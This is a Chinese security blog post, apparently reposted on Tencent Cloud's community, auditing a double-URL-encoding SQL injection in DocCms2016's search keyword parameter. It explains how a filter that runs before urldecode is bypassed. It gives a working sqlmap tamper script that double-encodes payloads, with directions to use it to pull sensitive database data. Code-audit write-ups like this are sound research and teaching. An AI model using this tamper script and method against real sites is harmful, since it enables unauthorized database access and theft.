前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

作者头像
Bypass
发布2019-07-08 17:17:14
1.2K0
发布2019-07-08 17:17:14
举报
文章被收录于专栏:BypassBypass

00

前言

分享一个SQL二次编码注入漏洞的审计实例,并附上 tamper脚本。

01

环境搭建

DocCms官网:http://www.doccms.com

程序源码:DocCms2016

下载地址:https://pan.baidu.com/s/1pLclifL

02

代码分析

在/content/search/index.php中,首先对参数keyword进行非法字符检测:

进一步追溯checkSqlStr函数,看代码如何过滤,在/inc/function.php中:

checkSqlStr函数对传入的字符串进行正则匹配,检测是否函数非法字符。继续看在/content/search/index.php中的get_search_result函数:

参数keyword进行非法字符检测后,进行url解码,然后拼接到SQL语句中执行。如果我们传入双重url编码的字符串,将绕过非法字符检测,然后经urldecode解码,带入数据库中执行,导致SQL注入漏洞存在。

03

漏洞利用

1、双重URLencode编码绕过,可通过编写tamper绕过URLencode双重编码,tamper脚本如下:

#!/usr/bin/env python

import re

from urllib import quote

from lib.core.data import kb

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():

pass

def tamper(payload, **kwargs):

retVal = payload

retVal = quote(quote(retVal))

return retVal

2、通过SQLMAP加载tamper脚本,获取数据库敏感数据

04

END

代码审计中,在一些编码解码函数,如urldecode() 、rawurldecode()、base64_decode(),可利用来来绕过防护。

另外,在实战中,遇到SQL、XSS二次编码绕过的情况,也有遇到的,so,除了单引号,双引号,也应注重%2527、%2522进行测试。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-04-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Bypass 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档